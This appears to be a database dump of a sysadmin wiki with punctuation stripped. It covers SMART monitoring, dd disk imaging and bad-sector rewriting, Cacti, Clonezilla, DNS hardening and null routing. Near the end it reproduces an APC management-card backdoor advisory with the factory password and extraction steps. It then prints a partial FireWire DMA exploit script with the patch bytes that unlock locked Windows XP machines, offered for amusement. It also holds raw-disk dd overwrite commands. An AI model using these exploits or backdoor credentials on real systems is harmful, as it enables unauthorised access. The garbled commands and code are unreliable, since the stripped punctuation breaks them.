when_failed raw_value 203 run_out_cancel 0x000b 253 139 180 pre-fail always in_the_past 0 as stated these are errors that have occured at any time these errors may have been from 2 years ago etc you can execute the same command cpanel used in the shell for example usr sbin smartctl -q errorsonly -h -l selftest -l error dev sda in this case three values are given 253 139 180 at one point this attribute run_out_cancel which is the number of eec errors dipped to 139 worst value - however its current value is 253 this is as good as that value gets if it was to get and stay less than 180 threshold the drive would be considered bad scripts scripts scripts usr local etc smartd conf settings for smartd which controls monitoring there are example scripts included with smartmontools these are usually located in a location like usr share doc smartmontools-5 33 examplescripts see the readme for more information there are many other scripts you can find on line people have developed to run as cron jobs etc and watch attributes sending notification when criteria are met etc resources resources resources here are some good sites with additional information good introduction article by the developer for smartctl bruce allen professor of physics at the university of wisconsin - milwaukee definitions for the smart attributes definitions for the smart attributes more good article on what the threshold values mean and how these three sets of figures work gnome disk utility needs glibc2 7 - very handy graphical drive smart tool white papers white paper on disk imaging smart etc white paper on drive duplication forensics paper on reliability of hard drive '),(58,'mirroring hard drives and partitions',' this page was taken from the original author on that page is seb wills  backing up hard disks and hard disk partitions  notes on backing up entire hard disks or partitions it it\'s often useful to make an image of either an entire hard disk or an entire partition one reason is to duplicate an installed system onto another pc probably over a network connection ; another is to make a backup of your complete hard disk including every aspect of the installed operating systems which you can restore if you have to replace your hard disk or if you screw things up typically it it\'s useful to be able to transfer these images over the network to another machine although you may want to save images onto a different partition or hard disk commercial tools to do this job include norton ghost acronis trueimage which now seems to have overtaken ghost in usefulness and driveimage which i believe can\'t save over the network nowadays these tools are quite sophisticated and can even work from within windows on mounted filesystems and do incremental block-level backups there is a open source linux program called partimage which is similar to ghost but i prefer to make backups using basic tools which i know will always be to hand and in a pure format which i understand my preferred solution in some situations is to use raw linux commands the backup technique uses linux but you don\'t have to have linux installed on your computer to do this and you can use this technique to backup partitions containing any filesystem important note i can offer no guarantees whatsoever that the methods detailed on this page are correct or reliable i\'ve used them on a few occasions without problems but i have not exhaustively tested this method and it could be that in some situations it does not perform as expected also these instructions are designed to give pointers and suggestions they do not comprise step-by-step instructions which you can blindly follow without understanding them many of the commands described here are very likely to trash the contents of your hard disk if you don\'t understand them properly use at your own risk copying partitions under linux when making an image of a disk partition you don\'t want the drive contents changing under you so the partition s must be either unmounted or mounted read-only the latter possibility means that you can probably drop down to single-user mode and remount essential partitions read-only in order to backup a linux system if you do this make sure you have a way of restoring the backup which doesn\'t depend on already having the os installed a more general method is to boot from cdrom into linux without using the hard disk at all for example using knoppix it it\'s brilliant at autodetecting hardware once you have a linux running the basic technique is to use the dd command to read the hard disk device or one of its partitions the output of dd can be written to a file perhaps to an external hard disk you have mounted or piped over the network to another instance of dd on a remote machine note that there is a neater way of backing up ntfs partitions see below example dd if dev hda1 bs 1k conv sync noerror gzip -c ssh -c blowfish user hostname dd of filename gz bs 1k this instructs dd to read the contents of dev hda1 the first partition conv sync noerror tells dd that if it can\'t read a block due to a read error then it should at least write something to its output of the correct length even if your hard disk exhibits no errors remember that dd will read every single block including any blocks which the os avoids using because it has marked them as bad so don\'t be too surprised if dd seems to struggle to read some blocks but see the next section for a better way of handling this situation bs 1k sets the block size to be 1k i\'m not quite sure what the optimal value is but it needs to be no larger the the block size for the disk otherwise a bad block may mask the contents of a good one 1k is a safe bet in the above example the output of dd is piped through gzip to compress it we then pipe the compressed data stream over an ssh connection to another linux machine which may also be running knoppix - see knoppix notes below if you wanted to write straight to a local file you could either just add of filename to the first dd command to write an uncompressed image or if you want to compress it just redirect the output of the gzip to a filename continuing with our explanation the -c blowfish option to ssh selects blowfish encryption which is much faster useful since we\'re sending tons of data than the default finally another dd command is invoked on the remote machine to read the data stream and write it to a file there alternatively you could pipe it through gunzip -c and write it straight to a partition on the remote machine instead of to a file note that as long as its not compressed you should be able to mount a file containing a single partition partition\'s image using a loopback device in linux with a little more jiggery-pokery to find the correct offset you can also mount partitions within a whole-disk image; see here what to do if the disk is damaged and dd takes forever tobias wolf pointed out dd_rescue which deals a lot better with bad blocks than plain dd a useful helper script to dd_rescue is dd_rhelp which postpones re-reading bad blocks to the very end because it can be a struggle to retreive something from them steve holmes reports that dd with conv sync noerror doesn\'t correctly image disks with lvm2 logical volumes i haven\'t investigated this he also points out gnu ddrescue not the same as dd_rescue mentioned above which looks useful according to steve ddrescue works finewith lvm2 and some people seem to suggest it it\'s generally superior to dd_rescue restoring partitions the restore procedure is fairly similar for example on the machine with the image on it you might do something like dd if filename gz ssh -c blowfish root deadhost gunzip -c dd of dev hda1 bs 1k this assumes you have linux e g knoppix running on the target machine with an ssh server running see \'knoppix tips below note that you should not include conv sync noerror in the restore dd - doing so can in certain situations corrupt the data being written since it instructs dd not to wait for more data to arrive from the network or filesystem if a whole block isn\'t available the partition needs to already exist before you do this and needs to be large enough to take all the data if it it\'s too big that doesn\'t matter you\'ll just be wasting space at the end you should then be able to grow the filesystem to fill that extra space for ext2 filesystems try using the ext2resize tool you may also be able to persuade the partition editing tool parted to do this since it can handle resizing most filesystems copying an entire hard disk you can simply use dev hda as the source target to backup restore an entire hard disk image including partition table mbr and all partitions this will certainly work if the hard disk being written to is identical to the one the image was made from i think it will generally also work in other situations as long as the destination disk is larger than the source i\'m not 100 sure that this is always true - partition table entries do contain information in c h s i e disk geometry dependent units which may be used by the boot loader even if the os uses lba links to some gory details about partition table formats are at the end of this page if you do make an image of a whole disk i strongly recommend that you also store extra information about the drive geometry which is necessary in order to interpret the partition table stored within the image should you need to do that the most important thing is the cylinder size best thing is just to grab a copy of the information fdisk can tell us fdisk -l dev hda &gt; hda_fdisk_information keep that file with the image for good measure why not get the same information as sfdisk displays it sfdisk -d dev hda &gt; hda_sfdisk_information knoppix tips to become root in knoppix just use sudo su - if you are using knoppix as a destination machine in one of these examples you\'ll need to start up its ssh server a command to do so is on the kde menus; otherwise etc init d sshd start as root should do the trick you\'ll then need to set a password for root so you can login remotely sudo passwd root knoppix tries to acquire an ip address by dhcp so if you have a dhcp server on your network you can just find out the ip addresses of the machines e g with ifconfig and use those in place of hostnames in the ssh commands if you don\'t have a dhcp server running on your network or you\'re connected two machines directly together by crossover cable you should be able to manually assign ip addresses using something like ifconfig eth0 192 168 x y reducing the storage space required one of the disadvantages of the dd method over software specifically designed for the job such as ghost or partimage is that dd will store the entire partition including blocks not currently used to store files whereas the likes of ghost understand the filesystem and don\'t store these unallocated blocks the overhead isn\'t too bad as long as you compress the image and the unallocated blocks have low entropy in general this will not be the case because the emtpy blocks will containing random junk from bygone files to rectify this it it\'s best to blank all unused blocks before making the image after doing that the unallocated blocks will contain mostly zeros and will therefore compress down to almost nothing a slightly clunky way to do this is to mount the partition then create a file of zeros which fills the entire disk then delete it again e g dd if dev zero of delme bs 8m; rm delme it it\'s worth doing this regardless of the type of filesystem in use but don\'t do it if you suspect the filesystem may be corrupt as you\'ll lose the ability to \'recover\' lost files at the time of writing there is no reliable write support in the linux ntfs drivers so you won\'t be able to use this zeroing technique on an ntfs partition however ther are other ways see below of efficiently backing up ntfs partitions backing up the mbr master boot record if you save copies of some or all of your partitions individually and want to be able to use them to restore a working system you\'ll also need to backup and restore the mbr and partition table the same caveats apply as discussed above about whether partition tables can be restored onto a disk of a different size backing up the mbr dd if dev hda of backup-of-hda-mbr count 1 bs 512 this stores the first 512 bytes of the disk contianing the mbr and the primary partition info - i e the first four primary entries into the file bcakup-of-hda-mbr which you can then copy to somewhere safe to restore be careful - this could destroy your existing partition table and with it access to all data on the disk dd if backup-of-hda-mbr of dev hda if you only want to restore the actual mbr code and not the primary partition table entires just restore the first 446 bytes dd of dev hda if backup-of-hda-mbr bs 446 count 1 those first 512 bytes are 446 bytes of mbr then 64 bytes of primary partition table backing up the extended partition table sfdisk -d dev hda &gt; backup-hda sfdisk sfdisk is in the util-linux package i think it it\'s in knoppix restore ditto the above warning sfdisk dev hda &lt; backup-hda sfdisk then reboot i also recommend making a record of the partition table details as displayed in whatever disk partitioning program you like to use and also as displayed by fdisk -l could be handy if you find yourself needing to repartition the disk by hand in preparation for restoring some images of individual partitions linux swap partitions somebody asked me how a linux system knows which partitions to use as swap partitions - this is of course an issue if you\'re restoring a linux partition to a new disk and need to re-create the swap partition for it the answer is that the swap partition should be listed in etc fstab e g # &lt;file system&gt; &lt;mount point&gt; &lt;type&gt; &lt;options&gt; &lt;dump&gt; &lt;pass&gt; dev hda6 none swap sw 0 0 during bootup one of the init scripts runs swapon -a which activates all swap partitions listed in etc fstab i imagine that if a swap partition listed in etc fstab isn\'t actually found to be of the correct partition type or isn\'t initialised then the system will ignore it so it should be safe to boot the restored system even if the swap partition information in etc fstab is incorrect and then amend it to point to a swap partition you\'ve created and run swapon -a backing up and restoring ntfs partitions the ntfsclone program from the linux ntfs tools can efficiently clone and restore ntfs partitions without storing the unused space you can either create a sparse file if saving an image to a filesystem which supports sparse files which will appear to have the size of the whole filesystem but will only take up about us much disk space as the used parts of the ntfs filesystem or you can create a special image file which only contains the used blocks and which ntfsclone can restore later if needed alternative to ssh if you\'re on a trusted network you might think it silly to go to trouble of encrypting and unencrypting all that data with ssh yet these days your machines are probably not configured to allow rsh connections nc a k a netcat is one option here it just sends raw streams of data across a network on the destination machine you could run nc -l -p 10001 &gt; imagefile to start a process which will listen on tcp port 10001 and dump everthing it receives from the first thing to connect to it to imagefile then on the source machine pipe the output of dd or gz or whatever to nc remote 10001 where remote is the name or ip address of the destination machine file-level backup techniques backing up entire partitions or disks is most useful when replacating systems across hard disks or when backing up partitions containing operating systems which are otherwise hard to fully backup for more every-day backups of your data a file-level method is more appropriate here are some handy tools for doing backups over a network to a remote machine in various clever ways rsync unison rdiff-backup duplicity random technical details anders lennartsson sent me this information which doesn\'t directly affect any of the above notes but could be useful to know if trying to reconstruct partition tables by hand or whatnot sectors on harddrives normally have 512 bytes each to find out how many sectors there are in one partition one can use for instance cfdisk after changing the units by typing a u cfdisk reports the number of such sectors however for obscure historic reasons the partition data doesn\'t start until sector 64 thus the numbers of sectors obtained by dd when specifying for instance if dev hda1 is the number of sectors seen in cfdisk for this partition minus 63 i don\'t remember exactly how linux fdisk does report the numbers page about recovering disks containing ext2 filesystems when you don\'t know the partition table details on how partition tables are stored here and here program which tries to find partitions even if partition table is damaged testdisk mounting partitions within an image of a whole disk using loopback devices in linux seb wills february 2004 last amended october 2006 feedback welcome '),(55,'linux security',' padlock center there are a number of excellent tools available to assist you in securing your sever and eliminating or mitigating risks the tools in this section are fairly easy to use and will assist you in hardening your server or allowing for easy server security monitoring also see the section on firewalls for an essential security layer you will most certainly want to implement bastille server hardening perform a security assessment and determine where your weak points are address them with bastille which runs in either a shell or graphical interface through x forwarding and walks you through various settings this is a great educational tool as you do not have to commit any changes until you fully understand them and the implications splunk log analyzer wouldn\'t it be nice if there was a web base interface that allowed you to google your system logs how about if there was a firfox plug in for this tool that allowed you to easily connect to a server and view those logs with just by typing in the ip how about have a time line graph of log activity you can zoom in and out on your dreams are now a reality with splunk available from this is a fantastic too and puts your system logs at your finger tips in a completely searchable format search for an ip address or activity through various logs with near instant results installation is a breeze too think of the power port knocking allows you to grant access for ssh and other services by using a predefined sequence of tcp or udp requests to ports these ports need not be open as the port knocking daemon runs on the link layer and will receive the request regardless of the status of the port traditional port knocking using a preset sequence of ports and single packet authentication where a single encrypted packet is sent can be used login monitoring monitor failed login attempts and take actions in response to block threats numerous methods exist each with beneficial and negative implications tools like fail2ban can be used to monitor for failed ssh ftp etc log in attempts and then block the offending ips etc '),(56,'camelot',' '),(57,'padlock',' '),(59,'cacti installation',' cacti center cacti is a complete frontend to rrdtool it stores all of the necessary information to create graphs and populate them with data in a mysql database the frontend is completely php driven along with being able to maintain graphs data sources and round robin archives in a database cacti handles the data gathering there is also snmp support for those used to creating traffic graphs with mrtg from the official site at  install instructions are at    install notes   the rpm will install the base system but you will have to follow the instructions to create the mysql database database user and password etc i moved the folder from default var www to a vhost directory note that cacti creates this apache config file too # vi etc httpd conf d cacti conf for some reason this was set to deny all first and then only allow localhost apache error log reported sat feb 09 11 52 01 2008 error client 72 184 142 174 client denied by server configuration home sites www timelordz com web cacti modified it to be alias cacti home sites www timelordz com web cacti directoryindex index php options -indexes allowoverride all order deny allow allow from all allow from 127 0 0 1 addtype application x-httpd-php php php_flag magic_quotes_gpc on php_flag track_vars on the rpm install will create a user cacti you must set permissions on a few folders in the cacti directory to be owned by this user #chown -r cacti cacti rra log to set up the polling process to run every 05 edit crontab -e and add 5 cacti php home sites www timelordz com web cacti poller php dev null 2 &1 with the full path to you poller php this did not work for me it would not run as cacti so i ran it as root - but make sure you chown the files is rra and log to cacti cacti after this runs the first time other with cacti can\'t read them 5 usr local bin php home sites www timelordz com web cacti poller php dev null 2 &1 the default login is admin admin which you must change at first login  database config settings   can be found in cacti include config php don\'t forget to make the mysql password in this file match what you set it to when you followed the database creation steps in install snmp configuration snmp configuration snmp configuration forward port udp 161 on router for snmp traffic install snmp package on client sample snmpd conf com2sec notconfiguser default communitypassword group notconfiggroup v1 notconfiguser group notconfiggroup v2c notconfiguser view all included 1 access notconfiggroup any noauth exact all none none view all included 1 start snmpd on the client etc init d snmpd start testing snmp connectivity root tardis # snmpwalk -c communitypassword -v1 home timelordz com '),(60,'cacti',' '),(61,'repairing corrupted file systems',' please place additional tools and tips for file system repair here intro intro intro at times one encounters file systems that despite best efforts will not clean properly despite multiple fscks when rebooted the system will report them as dirty again and often hang up or be unstable in these cases we usually end up doing a reinstall this is bad as it a costs us  significant  time though the os reinstall is fast that is just the tip of the iceberg we then almost inevitably become involved in reconfiguring the guys server dns sites reinstalling apps etc etc ad nauseum of course often the customer insists on not paying as well even better b often the client does not have recent backups then we spend more time extracting them from the corrupted primary c the reinstall restoring backups etc keeps the customer down - often for 24 hours or even more wouldn\'t it be nice if we could just fix it instead and not have to spend hours importing and configuring everything again here are some tools to help do this ctrl d to reboot ctrl d to reboot ctrl d to reboot when the file system is corrupted and is not repaired automatically you get the enter root password or control d to reboot message of course you have probably already tried cleaning the file system in single user mode and are still getting this one trick is to use the sysrequest tool this has been active on all centos installs for a bit now at that prompt hit ctrl-atl-sysrq same as print screen and then while holding those three hit e to terminate running processes and if needed i to kill them this will more than likely dump you to a login prompt of course things will likely not be mounted and services will be off but you just might be able to get things running by manually mounting and starting things this of course is just first aid to get it back up immediately it is not a complete fix partition copy and nuke it from above partition copy and nuke it from above partition copy and nuke it from above  this is advanced support and should be billed at 60 hour    although this takes an hour or two this is little compared to the many hours that get spent directly and indirectly otherwise   clonezilla livecd has worked in fixing this issue it uses partimaged etc to perform partition and drive imaging locally and to remote server it is file system aware will not copy empty space and is way way faster than dd you could also try acronis drive imaging too i have been able to repair an otherwise unrepairable partition by a mirroring the original drive optional really but don\'t screw up otherwise i would not recommend dd for this - it is way to slow try acronis or clonezilla especially with the large 320gb and 500gb drive dd just takes too long and for this phase there may be no benefit in using it b using the new mirrored original as the source copy the entire partition table to another blank drive #sfdixk -d dev sda partitions txt #sfdisk dev sdb partitions txt copying the entire table is the way to go if you just make a single partition manually on the secondary drive even if it has exactly the same number of blocks start and end cylinders etc you may run into the source and destination partitions being recognized as different sizes this may be do the way the extended partitions are mapped vs just making one partition of a certain size by itself etc c use clonezilla to copy the corrupt partition s from the source drive to the matching empty partition s on the destination drive it it\'s a livecd and has a gui it is a no brainer this does not take long at all using clonezilla as empty space is not copied d run an fsck on the partition s on the destination drive this should actually fix them e mount them and ensure the copy was successful f reformat the corrupt partition s on the source drive g use clonezilla and copy the fsck\'ed repaired partitions back over the the reformatted partitions on the source drive this is were you may get errors of incorrect size if you didn\'t create the entire partition table on the destination h disconnect the secondary drive and reboot cross your fingers it just might work '),(62,'clonezilla',' clonezilla clonezilla livecd is available at it uses partimaged etc to perform partition and drive imaging locally and to remote server it is file system aware will not copy empty space and is way way faster than dd you could also try acronis drive imaging too the latest experimental version seems pretty stable and is based on ubuntu hardy support for resizing partitions is built in it runs in a console gui and is very straightforward so far it has proven very effective in imaging drives and partitions it will also copy grub over to the target so you don\'t have to repair grub separately using this to repair partitions can be found at repairing corrupted file systems setting up a pxe clonezilla guide ocs and partimage ocs and partimage ocs and partimage as with any ubuntu you can change the root password with #sudo passwd once this is done the path will be set and you will be able to more easily run the two primary tools that make up the body of clonezilla #ocs this will run the opensource clone system #partimage runs a nifty partition imaging tool you can find more information on it at which is described there as description partimage is a linux utility which saves partitions having a supported filesystem to an image file most linux and windows filesystems are supported the image file can be compressed with the gzip bzip2 programs to save disk space and they can be splitted into multiple files to be copied on cds dvds partitions can also be saved across the network since version 0 6 0 using the partimage network support or using samba nfs etherboot etherboot etherboot the boot screen includes an option to boot using etherboot - great way to get a non-pxe booting system to boot to the network '),(63,'smart rewriting bad sectors',' introduction want to know how to find what file is associated with a sector and what inode it has how do you get rid of those pending sector errors that smartd reports when they never seem to go away what the hell is a pending sector anyway there are two primary means of discovering the specific bad sector s on a drive using smart you may want to attempt to write to that specific sector on a drive or determine what file on that sector is possibly corrupt etc if you determine the file you can attempt to move it and nuke the sector from orbit this article was written as a summation of how to do this it is based heavily on these two articles but is a condensation of that information for more information on smart in general see the article smart drive monitoring smart attributes pending sectors smart attributes pending sectors smart attributes pending sectors if a read error occurs on a sector the error is recorded in the smart log and the sector is marked pending in the attribute list it will remain pending until a failed write operation at witch time it will be reallocated the pending sectors can generate error messages etc you can force write to them and reallocate them however if you do it will nuke the file in that sector hummm a conundrum the sector number of the last read errors will be given in the error section of the smart logs for example error 3 occurred at disk power-on lifetime 14511 hours 604 days 15 hours when the command that caused the error occurred the device was doing smart offline or self-test after command completion occurred registers were er st sc sn cl ch dh -- -- -- -- -- -- -- 40 51 08 48 b8 e2 e0 error unc 8 sectors at lba 0x00e2b848 14858312 some drives will only give the value in hex you would then have to convert it to decimal the error log only shows the last five errors it may contain the same or different sector numbers if it only contains one sector yet the attribute list shows more than one you will most likely have to repair the first one then run a smart read test rinse and repeat other errors beside read error get recorded too so if none is given here examine the smart read test results smart read test failure smart read test failure smart read test failure another method of locating the bad sector number is to run a smart read test short or extended with smartctl if it fails it will report the sector number you can run either of these tests while the server is up unless the server has a very high i o it will not affect performance the command to run the test is #smartctl -t short dev hda upon completion check the smart log section on test results and you will see entries giving the bad sectorsuch as smart self-test log structure revision number 1 num test_description status remaining lifetime hours lba_of_first_error # 1 short offline completed read failure 10 14577 232962120 # 2 short offline completed read failure 10 14504 232962120 # 3 conveyance offline completed without error 00 1501 - calculating the file system sector calculating the file system sector calculating the file system sector because sectors are logical on the drive logical block addressing lba you need to convert between lba and physical file system sectors this is pretty easy to do first - get a table of the start and end sectors of the partition table root 207-150-166-140 # fdisk -lu dev hda disk dev hda 120 0 gb 120034123776 bytes 255 heads 63 sectors track 14593 cylinders total 234441648 sectors units sectors of 1 512 512 bytes device boot start end blocks id system dev hda1 63 208844 104391 83 linux dev hda2 208845 4401809 2096482 83 linux dev hda3 4401810 8482319 2040255 82 linux swap dev hda4 8482320 234436544 112977112 5 extended dev hda5 8482383 29447144 10482381 83 linux dev hda6 29447208 50411969 10482381 83 linux dev hda7 50412033 52516484 1052226 83 linux dev hda8 52516548 234436544 90959998 83 linux use this to determine what partition the bad sector is in in this case 232962120 is inside the start and end values for dev hda5 note this is in partition 5 - ignore partition 4 as it is the extended partition any block from partitions 5 through 8 will also be in partition 4 but you want the real partition not the extended partition next calculate the file system block using the formula b int l-s 512 b where b file system block number b file system block size in bytes almost always is 4096 l lba of bad sector s starting sector of partition as shown by fdisk -lu and int denotes the integer part for example the reported sector from the smart log above is 232962120 thus 14858312 - 8482383 512 4096 796991 125 bad sec start sec cha ching this is the sector use the block number from the smart test section not from the smart error log section they are using different methods of reporting file system vs physical blocks badblock - startpartition 512 4096 you can just paste this into google as a template any fraction left indicates the problem sector is in the mid or latter part of the block which contains a number of sectors ignore the fraction and just use the integer next use debugfs to locate the inode and then file associated with that sector root home # debugfs debugfs 1 35 28-feb-2004 debugfs open dev hda5 debugfs icheck 796991 block inode number 796991 debugfs quit ah it didn\'t give the inode it if did you could have found the file with root home # debugfs debugfs 1 35 28-feb-2004 debugfs open dev hda5 debugfs icheck 796991 block inode number 796991 41032 debugfs ncheck 41032 inode pathname 41032 s1 r h 714197568-714203359 h-r-714202192-16 gwf so what the heck why no inode well remember how it said the sector might be bad banishing evil sectors banishing evil sectors banishing evil sectors if you want to check it with a read test try dd if dev hda5 of my block skip 796991 bs 4096 count 1 if it gives an error then you know for sure it is bad as far as i know that sector is toast at this point if you want to force a write to it destroying the data in it use dd if dev zero of dev hda5 bs 4096 count 1 seek 796991 sync that sector should no longer be listed as pending in the smart attributes it should now show as reallocated '),(64,'open dns server',' closing open dns servers tutorial closing open dns servers tutorial closing open dns servers tutorial by felipe at sago networks 1 login to your server and su to root 2 edit the etc named conf file such as # vi etc named conf look for key rndckey ; after this add the following replacing mainip and secondaryip with your systems nameservers acl trusted mainip;secondaryip;127 0 0 1; ; 3 after thatu8e28099s done you want to add the section that says only the trusted is allowed for certain functions check your options area and make sure you add the following allow-recursion trusted; ; allow-notify trusted; ; allow-transfer trusted; ; so the final result looks something like options directory var named ; allow-recursion trusted; ; allow-notify trusted; ; allow-transfer trusted; ; dump-file var named data cache_dump db ; statistics-file var named data named_stats txt ; if there is a firewall between you and nameservers you want to talk to you might need to uncomment the query-source directive below previous versions of bind always asked questions using port 53 but bind 8 1 uses an unprivileged port by default query-source address port 53; ; 4 save the changes and restart the named service service named restart 5 recheck your site at dnsreport com you should be good '),(65,'understanding null routing',' what null-routing actually does authored by kyle anderson a colleague at sago networks added here as this is a great reference null routing is not magic null-routing is the act of adding a static route to our ar01 router to redirect traffic  destined  for a particular ip to ar01 ar01\'s null-route interface 65 110 32 73 this is what the null route command looks like when run on ar01 ip route sample ip 255 255 255 255 null0 tag 7777 what this means is route all traffic  destined  for this ip to the null0 interface and tag this particular route with 7777 tagging is just a way of marking certain routes for certain processes what happens next what happens next what happens next ar01 tpa sagonet net shares its routes with the core0 and other routers so everyone is doing the same thing now all traffic  destined  for whatever ip your nulled will be sent to ar01 ar01\'s interface that is why when you mtr to a nullrouted ip you get nullrouted tpa sagonet net as the last hop press n on mtr to get ips instead of names and you will see 65 110 32 73 the ip address of one of ar01 ar01\'s interfaces null routing is not magic null routing is not magic null routing is not magic now what happens when an  outside ip  is offending our network lets say its pinging a server 1000 times a second null route it will this stop the pings  no  surprised you may have thought to yourself why is this ip still pinging my server i null-routed it but routing is altering the route path for an ip and only affecting packets  destined  for that ip the echo request ping will hit your server but the reply will get sent to ar01 because the reply is  destined  for your null-routed ip don\'t believe me great i love a skeptic run this on a your server that you don\'t mind null-routing not a corporate one actually you will need two servers one on the outside of our network one on the inside i will use sheldon as an example but you guys have to use a different one maybe one in the employee rack on the outside ping sheldon sagonet com on the inside sheldon tcpdump -n -t icmp this is a tcpdump to just show pings now null-route your outside ip you will of course lose your ssh connection but the ping command will still be running till the ssh session times out you will see the pings are still hitting sheldon ah of course they are but  replies  are being sent to ar01 because that is the  route  for that outside ip what null-routing does and doesn\'t do what null-routing does and doesn\'t do what null-routing does and doesn\'t do does prevent any tcp handshaking which will stop ssh brute force normal http requests and such the server will receive the syn packets but the ack packets will never reach the outside world assuming you are null-routing a foreign ip does not stop ping floods syn flood dos attacks udp dos attacks null-routing the destination instead of the source null-routing the destination instead of the source null-routing the destination instead of the source this is a 100 fool-proof way of stopping a dos it also makes that ip unavailable to everyone else of course if sheldon is being dos\'d and we null sheldon we will not be able to ssh to it but kyle arn\'t our routes push out to our peers too but kyle arn\'t our routes push out to our peers too but kyle arn\'t our routes push out to our peers too yes but that doesn\'t affect anything on this page everything still applies foreign ip routes are not pushed out to our peers the only difference it makes is in situations where we null route one of our ip ip\'s when this happens the packets stop at our peer peer\'s null interface instead of ar01 tagging tagging tagging what do those tags mean 7777 tech center or null-route commander 8888 ids system 9999 manual usually dan '),(66,'apc backdoor',' list bugtraq subject apc 9606 smartslot web snmp management card backdoor from dave tarbatt date 2004-02-16 11 24 32 message-id 1076930672 19026 88 camel localhost localdomain download message raw apc_9606_backdoor txt apc_9606_backdoor txt background apc american power conversion smartswitch and ups uninterruptible power supply products have a web and snmp management card installed that permits local serial console telnet web and snmp management monitoring and mains power control of attached devices the problem apc smartslot web snmp management cards have a backdoor password that can be abused to extract plain text username password details for all accounts and hence gain unauthorised full control of the device tested vulnerable smartups 3000rm with ap9606 aos v3 2 1 and smartups app v3 2 6 masterswitch ap9212 with ap9606 aos v3 0 3 and masterswitch app v2 2 0 description the backdoor password is designed for use by the factory for initial configuration of the card e g mac address serial number etc however it is possible to dump the contents of eeprom which amongst other things stores the account usernames and passwords the backdoor password is accepted via either the local serial port or telnet use of the password on the web interface does not appear to be possible to recreate typical example connect a console to the serial port or telnet to the card at the username prompt use any username the password is all alphabetic characters and is case sensitive tenmanufactorypower at the selection prompt type 13 and press return type the byte address of the eeprom location to view e g 1d0 and press return look carefully for the username and password pairs different firmware revisions may have the account details at different eeprom locations the accounts in the example below are the default accounts after their passwords have been changed username apc password bbccddeef username device password aaaabbbbb press return to get back to the factory menu and press ctrl-a to logout you can now telnet to the card again and use the account details you\'ve just recovered to log into and control the device you should use the other selections with extreme care you may cause irrepairable damage and will most certainly invalidate any warranty the eeprom also contains other user-configurable options in either plain text or binary encoded form they are not detailed in this advisory example root always root # telnet 192 168 1 1 trying 192 168 1 1 connected to 192 168 1 1 escape character is \' \' user name phade password tenmanufactorypower factory menu to exit 1ap9606 2wa0044004472 3g9 410 25 2000 500 c0 b7 a2 c8 2d 6v3 2 1 7a 8a 9192 168 1 1 a255 255 255 0 b192 168 1 254 c d e f g selection 13 enter byte address in hex xxxx 1d0 01d0 ff 50 46 61 70 63 00 ff pfapc 01d8 ff ff ff ff ff ff 42 42 bb --- username 01e0 43 43 44 44 45 45 46 00 ccddeef 01e8 ff 64 65 76 69 63 65 00 device 01f0 ff ff ff ff 41 41 41 41 aaaa --- password 01f8 42 42 42 42 42 00 ff 61 bbbbb a 0200 64 6d 69 6e 20 75 73 65 dmin use 0208 72 20 70 68 72 61 73 65 r phrase 0210 00 ff ff ff ff ff ff ff 0218 ff ff ff ff ff ff ff ff 0220 64 65 76 69 63 65 20 75 device u 0228 73 65 72 20 70 68 72 61 ser phra 0230 73 65 00 ff ff ff ff ff se 0238 ff ff ff ff ff ff ff ff 0240 ff 00 00 ff ff ff ff 21 0248 56 00 00 00 00 00 00 55 v u nxt b-bck p-pch other-exit workaround fix ensure that access to the local serial port is physically restricted and disable the telnet interface as described in the device documentation a patched version of the firmware which requires the management password to be entered before accessing the factory settings may be available from apc vendor status apc were first notified six months ago on 12th august 2003 and were initially helpful in patching the problem however after testing a couple of beta fixes i\'ve heard nothing for over 3 months dave tarbatt '),(67,'firewire password hack',' firewire dma exploit too funny - break into a windows box using a fire wire cable and a linux box here is the guys blog and attached you will find the python script downloaded from the blog script author adam boileau python script python script python script # usr bin python # windows locked screen remote firewire unlockor # metlstorm 2k6 # uh private use only not for public distro kthx import sys import firewire import binascii import time ver 1 5 verstr winlockpwn v s metlstorm 2k6 ver # targets are dicts with some properties and one or more phases # each phase specifies a signature which can be found at one or more # page offsets when a signature is found the patch is applied at patchoffset # bytes from the beginning of the signature targets name winxp sp2 fast user switching unlock notes when run against a locked xpsp2 box with fus on it will cause all passwords to succeed you\'ll still get the password-is-wrong dialog but then you\'ll get logged in anyway phase sig 8bd8f7db1adbfec3 pageoffset 2905 patch bb01000000eb0990 patchoffset 0 name winxp sp2 unlock notes when run against a locked xpsp2 box with regular non-fast-user-switching it will cause all passwords to succeed you\'ll still get the password-is-wrong dialog but then you\'ll get logged in anyway phase sig 0502000010 pageoffset 3696 patch b801000000 patchoffset 0 name winxp sp2 msv1_0 dll technique notes patches the call which decides if an account requires password authentication this will cause all accounts to no longer require a password which covers logging in locking and probably network authentication too this is the best allround xpsp2 technique phase sig 8bff558bec83ec50a1 pageoffset 0x927 patch b001 patchoffset 0xa5 name winxp sp2 utilman cmd spawn notes at the winlogon winstation locked or prelogin will spawn a system cmd shell start util manager with win-u and make sure all the disability-tools are stopped narrator starts by default then run this wait till it it\'s patched a couple of data-phase things then start narrator enjoy a shell you can use this with the msv1_0 dll technique as well and log in any time you want to get back to your shell just lock the desktop and you\'ll go back to the winlogon winstation where your shell will be waiting phase name patch code sig 535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb pageoffset 0x39f patch 565383c310899de8faffffff158810185b898540fbffff9090909090 patchoffset 0x0 name patch data sig 2f0055004d000000d420185b0539185b0000000053006f006600740077006100 pageoffset 0x9ac 0x5ac 0x3ac patch 63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000 patchoffset 0x0 keepgoing true start 0x8000000l end 0xffffffffl chunk 4096 print verstr def printtargets targets i 1 print available targets for t in targets print 2d s i t name i 1 print ntarget notes n for t in targets print s n--------------- n s n t name t notes def usage print usage winlockpwn port node target start-end print - port and node are the firewire port and node numbers use businfo to identify your targets port and node numbers print - target should be one of the numbered targets listed below print - you can optionally supply a start-end memory range to search for signatures in useful if you\'re restarting or want to limit the upper end of memory which will otherwise walk up to 4gb without stopping this understands anything sensible; eg 0-100m 0xffff-0x1ffff 1m- 200k-1gb -0xffff print remember that you\'ll need to use csr trickery with romtool to talk dma to windows n printtargets targets sys exit 1 if len sys argv 4 usage try port int sys argv 1 node int sys argv 2 targetno int sys argv 3 if len sys argv 4 start end firewire parserange sys argv 4 if end none end 0xffffffffl except valueerror usage if targetno 1 or targetno len targets usage target targets targetno -1 print target selection print name s target name print notes s target notes for p in target phase if p has_key name print phase s p name print pattern 0x s p sig print offset s p pageoffset print patch 0x s p patch print offset d p patchoffset print scanning options print start 0x x start print stop 0x x end print pagesz d chunk for so in p pageoffset if len p sig so chunk 